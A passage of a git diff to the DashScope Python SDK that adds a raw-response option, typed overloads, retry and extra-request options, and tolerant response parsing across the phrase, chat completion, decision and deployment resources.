re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_phrases(phrases) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _CREATE_PATH, json=_compile_body( @@ -131,13 +205,26 @@ def create( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp body = response_body( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(Phrase(**flatten_envelope(body)), response) + return with_headers( + self._parse(Phrase, body, resp.http_response), + resp.http_response, + ) + @overload def update( self, phrase_id: str, @@ -149,11 +236,62 @@ def update( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Phrase: - """Recompile the phrase set behind ``phrase_id``.""" + ... + + @overload + def update( + self, + phrase_id: str, + *, + model: str, + phrases: Dict[str, Any], + training_type: str = "compile_asr_phrase", + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def update( + self, + phrase_id: str, + *, + model: str, + phrases: Dict[str, Any], + training_type: str = "compile_asr_phrase", + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Phrase, "APIResponse"]: + """Recompile the phrase set behind ``phrase_id``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(phrase_id, "phrase_id") _require_phrases(phrases) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _CREATE_PATH, json=_compile_body( @@ -167,13 +305,26 @@ def update( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp body = response_body( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(Phrase(**flatten_envelope(body)), response) + return with_headers( + self._parse(Phrase, body, resp.http_response), + resp.http_response, + ) + @overload def get( self, phrase_id: str, @@ -182,10 +333,55 @@ def get( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Phrase: - """Fetch one compiled phrase set (1.x ``query_phrases``).""" + ... + + @overload + def get( + self, + phrase_id: str, + *, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + phrase_id: str, + *, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Phrase, "APIResponse"]: + """Fetch one compiled phrase set (1.x ``query_phrases``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(phrase_id, "phrase_id") - response = self._client.transport.request( + resp = self._client.transport.request_api( "GET", f"{_OUTPUTS_PATH}/{phrase_id}", headers=headers, @@ -193,13 +389,26 @@ def get( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp body = response_body( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(Phrase(**flatten_envelope(body)), response) + return with_headers( + self._parse(Phrase, body, resp.http_response), + resp.http_response, + ) + @overload def list( self, *, @@ -209,9 +418,56 @@ def list( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> PhraseList: - """List compiled phrase sets.""" - response = self._client.transport.request( + ... + + @overload + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[PhraseList, "APIResponse"]: + """List compiled phrase sets. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ + resp = self._client.transport.request_api( "GET", _OUTPUTS_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -220,13 +476,26 @@ def list( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp body = response_body( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(PhraseList(**flatten_envelope(body)), response) + return with_headers( + self._parse(PhraseList, body, resp.http_response), + resp.http_response, + ) + @overload def delete( self, phrase_id: str, @@ -235,10 +504,55 @@ def delete( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Delete one compiled phrase set.""" + ... + + @overload + def delete( + self, + phrase_id: str, + *, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + phrase_id: str, + *, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete one compiled phrase set. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(phrase_id, "phrase_id") - response = self._client.transport.request( + resp = self._client.transport.request_api( "DELETE", f"{_OUTPUTS_PATH}/{phrase_id}", headers=headers, @@ -246,9 +560,21 @@ def delete( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp body = response_body( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(JobStatus(**flatten_envelope(body)), response) + return with_headers( + self._parse(JobStatus, body, resp.http_response), + resp.http_response, + ) diff --git a/dashscope/resources/chat/completions.py b/dashscope/resources/chat/completions.py index 2f53d3d0..f81b2dc5 100644 --- a/dashscope/resources/chat/completions.py +++ b/dashscope/resources/chat/completions.py @@ -24,7 +24,7 @@ from typing_extensions import Literal -from dashscope.errors import response_error, response_json +from dashscope.errors import response_error from dashscope.protocols.base import ChatRequest from dashscope.resources._blocking import run_blocking from dashscope.resources._oss import ( @@ -58,6 +58,8 @@ if TYPE_CHECKING: import httpx + from dashscope.transport._response import APIResponse + __all__ = [ "AsyncChatStream", "AsyncCompletions", @@ -764,10 +766,15 @@ def _send( workspace: Optional[str], timeout: Optional[float], options: Optional[RequestOptions] = None, -) -> Union[ChatCompletion, ChatStream]: + raw: bool = False, +) -> Union[ChatCompletion, ChatStream, "APIResponse"]: transport = client.transport base_url = client.config.protocol_base_url if stream: + # ``APIResponse`` presumes a materialized body; ``open_stream`` + # hands back an unread one, so there is nothing to wrap. + if raw: + raise ValueError("raw=True is not supported with stream=True") response = transport.open_stream( "POST", request.path, @@ -793,7 +800,7 @@ def _send( strict_validation=client.config.strict_validation, response=response, ) - response = transport.request( + resp = transport.request_api( "POST", request.path, json=request.body, @@ -804,17 +811,20 @@ def _send( sdk_module=module, timeout=timeout, options=options, + client=client, ) - error_result = _checked_completion(client, response) + if raw: + return resp + error_result = _checked_completion(client, resp.http_response) if error_result is not None: return error_result return with_headers( client.protocol.parse_completion( - response_json(response), + resp.json(), strict_validation=client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) @@ -830,10 +840,15 @@ async def _asend( workspace: Optional[str], timeout: Optional[float], options: Optional[RequestOptions] = None, -) -> Union[ChatCompletion, AsyncChatStream]: + raw: bool = False, +) -> Union[ChatCompletion, AsyncChatStream, "APIResponse"]: transport = client.transport base_url = client.config.protocol_base_url if stream: + # ``APIResponse`` presumes a materialized body; ``open_stream`` + # hands back an unread one, so there is nothing to wrap. + if raw: + raise ValueError("raw=True is not supported with stream=True") response = await transport.open_stream( "POST", request.path, @@ -859,7 +874,7 @@ async def _asend( strict_validation=client.config.strict_validation, response=response, ) - response = await transport.request( + resp = await transport.request_api( "POST", request.path, json=request.body, @@ -870,17 +885,20 @@ async def _asend( sdk_module=module, timeout=timeout, options=options, + client=client, ) - error_result = _checked_completion(client, response) + if raw: + return resp + error_result = _checked_completion(client, resp.http_response) if error_result is not None: return error_result return with_headers( client.protocol.parse_completion( - response_json(response), + resp.json(), strict_validation=client.config.strict_validation, - response=response, + response=resp.http_response, ), - response, + resp.http_response, ) @@ -922,6 +940,8 @@ def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatStream: ... @@ -959,9 +979,50 @@ def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatCompletion: ... + @overload + def create( + self, + *, + model: str, + messages: Union[str, List[MessageInput]], + stream: Literal[False] = False, + tools: Optional[List[Dict[str, Any]]] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + max_tokens: Optional[int] = None, + stop: Union[str, List[str], None] = None, + seed: Optional[int] = None, + repetition_penalty: Optional[float] = None, + presence_penalty: Optional[float] = None, + enable_thinking: Optional[bool] = None, + response_format: Optional[Dict[str, Any]] = None, + top_k: Optional[int] = None, + tool_choice: Union[str, Dict[str, Any], None] = None, + n: Optional[int] = None, + logprobs: Optional[bool] = None, + top_logprobs: Optional[int] = None, + thinking_budget: Optional[int] = None, + enable_search: Optional[bool] = None, + search_options: Optional[Dict[str, Any]] = None, + parallel_tool_calls: Optional[bool] = None, + incremental_output: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + def create( self, *, @@ -995,7 +1056,18 @@ def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, - ) -> Union[ChatCompletion, ChatStream]: + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[ChatCompletion, ChatStream, "APIResponse"]: + """Run one chat completion. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It is only + available with ``stream=False``: a streaming response body is never + materialized, so there is nothing to hand back. Combining the two + raises ``ValueError``. + """ built = _build_request( self._client, multimodal=False, @@ -1041,7 +1113,9 @@ def create( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + raw=raw, ) @@ -1083,6 +1157,8 @@ async def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> AsyncChatStream: ... @@ -1120,9 +1196,50 @@ async def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatCompletion: ... + @overload + async def create( + self, + *, + model: str, + messages: Union[str, List[MessageInput]], + stream: Literal[False] = False, + tools: Optional[List[Dict[str, Any]]] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + max_tokens: Optional[int] = None, + stop: Union[str, List[str], None] = None, + seed: Optional[int] = None, + repetition_penalty: Optional[float] = None, + presence_penalty: Optional[float] = None, + enable_thinking: Optional[bool] = None, + response_format: Optional[Dict[str, Any]] = None, + top_k: Optional[int] = None, + tool_choice: Union[str, Dict[str, Any], None] = None, + n: Optional[int] = None, + logprobs: Optional[bool] = None, + top_logprobs: Optional[int] = None, + thinking_budget: Optional[int] = None, + enable_search: Optional[bool] = None, + search_options: Optional[Dict[str, Any]] = None, + parallel_tool_calls: Optional[bool] = None, + incremental_output: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + async def create( self, *, @@ -1156,7 +1273,18 @@ async def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, - ) -> Union[ChatCompletion, AsyncChatStream]: + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[ChatCompletion, AsyncChatStream, "APIResponse"]: + """Run one chat completion. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It is only + available with ``stream=False``: a streaming response body is never + materialized, so there is nothing to hand back. Combining the two + raises ``ValueError``. + """ # The upload path is blocking (file post + getPolicy), so the whole # request build runs in a worker thread -- over a transport bridged # back to this loop, which is what lets it serve the policy fetch. @@ -1206,5 +1334,7 @@ async def create( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + raw=raw, ) diff --git a/dashscope/resources/decision.py b/dashscope/resources/decision.py index 9a444d64..e40fa254 100644 --- a/dashscope/resources/decision.py +++ b/dashscope/resources/decision.py @@ -20,14 +20,31 @@ from __future__ import annotations -from typing import Any, Dict, List, Literal, Optional, Union +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import BaseModel, ConfigDict, Field from dashscope._config import Config, compatible_mode_base_url from dashscope.errors import response_error, response_json +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ResponseBase, Usage, with_headers +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + _PATH = "/systemone" # Functional-area tag for x-dashscope-sdk-client. The decision model is # new in v2 (no 1.x API), so "decision" extends the 1.x vocabulary and @@ -137,11 +154,21 @@ class DecisionResponse(ResponseBase): latency_ms: Optional[float] = None -def _parse(body: Dict[str, Any]) -> DecisionResponse: +def _parse( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> DecisionResponse: payload = dict(body) if isinstance(body, dict) else {} # Tolerate a success body that omits the answers table. payload["answers"] = payload.get("answers") or {} - return DecisionResponse(**payload) + return parse_model( + DecisionResponse, + payload, + strict=strict, + response=response, + ) def _dump_question(question: QuestionInput) -> Dict[str, Any]: @@ -193,9 +220,18 @@ def _checked_response(client, response) -> DecisionResponse: """ error = response_error(response) if error is None: - return with_headers(_parse(response_json(response)), response) + return with_headers( + _parse( + response_json(response), + strict=client.config.strict_validation, + response=response, + ), + response, + ) if client.raise_on_error: raise error + # Built from the already-typed error object, not from a wire body, so + # there is nothing for parse_model to be fault-tolerant about. return with_headers( DecisionResponse( request_id=error.request_id, @@ -214,6 +250,7 @@ class Decision: def __init__(self, client) -> None: self._client = client + @overload def create( self, *, @@ -223,7 +260,47 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DecisionResponse: + ... + + @overload + def create( + self, + *, + model: str, + state: StateInput, + questions: Dict[str, QuestionInput], + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + state: StateInput, + questions: Dict[str, QuestionInput], + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DecisionResponse, "APIResponse"]: """Run one decision round. Usage:: @@ -242,9 +319,15 @@ def create( }, ) print(resp.answers["department"].choice) + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also bypasses + ``_checked_response``, which is what turns this endpoint's nested + ``error`` envelope into ``is_error`` / ``code`` / ``message``. """ body = _build_body(model=model, state=state, questions=questions) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _PATH, json=body, @@ -253,8 +336,17 @@ def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - return _checked_response(self._client, response) + if raw: + return resp + return _checked_response(self._client, resp.http_response) class AsyncDecision: @@ -263,6 +355,7 @@ class AsyncDecision: def __init__(self, client) -> None: self._client = client + @overload async def create( self, *, @@ -272,9 +365,50 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DecisionResponse: + ... + + @overload + async def create( + self, + *, + model: str, + state: StateInput, + questions: Dict[str, QuestionInput], + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + state: StateInput, + questions: Dict[str, QuestionInput], + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DecisionResponse, "APIResponse"]: + """Async twin of :meth:`Decision.create`.""" body = _build_body(model=model, state=state, questions=questions) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _PATH, json=body, @@ -283,5 +417,14 @@ async def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - return _checked_response(self._client, response) + if raw: + return resp + return _checked_response(self._client, resp.http_response) diff --git a/dashscope/resources/deployments.py b/dashscope/resources/deployments.py index 34c29241..1d3f11e8 100644 --- a/dashscope/resources/deployments.py +++ b/dashscope/resources/deployments.py @@ -11,24 +11,29 @@ from __future__ import annotations from typing import ( + TYPE_CHECKING, Any, AsyncIterator, Dict, Iterator, List, + Literal, + Mapping, Optional, Union, + overload, ) from pydantic import AliasChoices, BaseModel, ConfigDict, Field -from dashscope.errors import check_response, response_json from dashscope.resources._sse import ( _aiter_sse, _iter_sse, _stream_error, _try_json, ) +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( JobStatus, ResponseBase, @@ -37,6 +42,11 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + _BASE_PATH = "/deployments" # 1.x tags this API "finetune" (Deployments lives in dashscope.finetune). @@ -100,19 +110,80 @@ class DeploymentEvent(BaseModel): is_error: bool = False -def _parse(body: Dict[str, Any]) -> Deployment: - return Deployment(**flatten_envelope(body)) +def _parse( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> Deployment: + return parse_model( + Deployment, + flatten_envelope(body), + strict=strict, + response=response, + ) -def _parse_list(body: Dict[str, Any]) -> DeploymentList: +def _parse_list( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> DeploymentList: data = flatten_envelope(body) - deployments = data.get("deployments") or [] - return DeploymentList( - page_no=data.get("page_no", 1), - page_size=data.get("page_size", 10), - total_count=data.get("total", len(deployments)), - deployments=deployments, - **response_envelope(data), + deployments = data.get("deployments") + if not isinstance(deployments, list): + # A retyped ``deployments`` would poison the ``len()`` below (a + # string's length is not a page total). Empty is the honest + # reading of "not a list", matching ``models._parse_list``. + deployments = [] + return parse_model( + DeploymentList, + { + "page_no": data.get("page_no", 1), + "page_size": data.get("page_size", 10), + "total_count": data.get("total", len(deployments)), + "deployments": deployments, + **response_envelope(data), + }, + strict=strict, + response=response, + ) + + +def _parse_status( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> JobStatus: + return parse_model( + JobStatus, + flatten_envelope(body), + strict=strict, + response=response, + ) + + +def _parse_event( + data: Any, + *, + is_error: bool = False, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> DeploymentEvent: + """One SSE frame, degrading rather than breaking the iteration. + + A drifted frame used to raise a bare ``ValidationError`` partway + through the generator -- earlier frames were already consumed and + ``except DashScopeError`` could not catch it. ``response`` is the + stream itself, which is the only response a frame belongs to. + """ + return parse_model( + DeploymentEvent, + {"output": _try_json(data), "is_error": is_error}, + strict=strict, + response=response, ) @@ -149,6 +220,7 @@ class Deployments: def __init__(self, client) -> None: self._client = client + @overload def create( self, *, @@ -163,7 +235,63 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: + ... + + @overload + def create( + self, + *, + model: str, + capacity: int, + model_version: Optional[str] = None, + suffix: Optional[str] = None, + plan: Optional[str] = None, + template_id: Optional[str] = None, + deploy_spec: Optional[Dict[str, Any]] = None, + billing_method: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + capacity: int, + model_version: Optional[str] = None, + suffix: Optional[str] = None, + plan: Optional[str] = None, + template_id: Optional[str] = None, + deploy_spec: Optional[Dict[str, Any]] = None, + billing_method: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Create a deployment of ``model`` with ``capacity`` instances. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_create_body( model, capacity, @@ -174,7 +302,7 @@ def create( deploy_spec, billing_method, ) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _BASE_PATH, json=body, @@ -182,10 +310,27 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload def get( self, deployed_model: str, @@ -193,18 +338,77 @@ def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: - response = self._client.transport.request( + ... + + @overload + def get( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Fetch one deployment by ``deployed_model`` id. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "GET", f"{_BASE_PATH}/{deployed_model}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload def list( self, *, @@ -213,8 +417,52 @@ def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DeploymentList: - response = self._client.transport.request( + ... + + @overload + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + 